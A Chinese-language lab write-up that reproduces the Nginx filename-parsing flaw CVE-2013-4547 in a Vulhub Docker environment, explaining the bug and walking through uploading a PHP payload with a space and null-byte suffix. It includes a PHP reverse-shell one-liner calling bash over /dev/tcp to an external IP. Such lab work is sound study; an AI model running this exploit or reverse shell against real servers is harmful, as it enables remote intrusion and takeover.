我个人的理解是先POST一个上传请求,内容是php脚本,但是文件名是txt后缀,只不过这个后缀结尾有一个%20%00,先欺骗web服务器,确实上传了一个txt文件,然后发一个GET请求,URL是这个txt文件路径加上.php,欺骗服务器走php解析,成功执行php文件,最后我演示了一个反弹shell,作为本实验的提升~
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
下面是Vulhub的官方解释:
这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行。举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:[1]
location ~ \.php$ { include fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; fastcgi_param DOCUMENT_ROOT /var/www/html;}正常情况下,只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。
前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞
docker-compose build //可选docker-compose up -d完成试验后,记得删除漏洞环境哦~~
docker-compose downdocker system prune -a -f //可选简单访问一下,说明Nginx 文件名逻辑漏洞(CVE-2013-4547)环境搭建成功了
我们可以上传多种类型的文件,唯独不能上传php文件,但是我能上传内容是php的txt文件,然后在HEX模式下,修改txt文件后缀为2000
我们通过burpsuite来访问它,注意后面加上.php,否则不行
看到这,说明已经成功执行php文件了。那么,我们继续来看进阶的反弹shell ~
<?php system("bash -c 'bash -i &>/dev/tcp/174.137.58.6/8888 0>&1'");?>先来一个POST请求
再来一个GET请求,虽然显示504,但是
反弹shell成功了
参考^Nginx 文件名逻辑漏洞(CVE-2013-4547) https://vulhub.org/#/environments/nginx/CVE-2013-4547/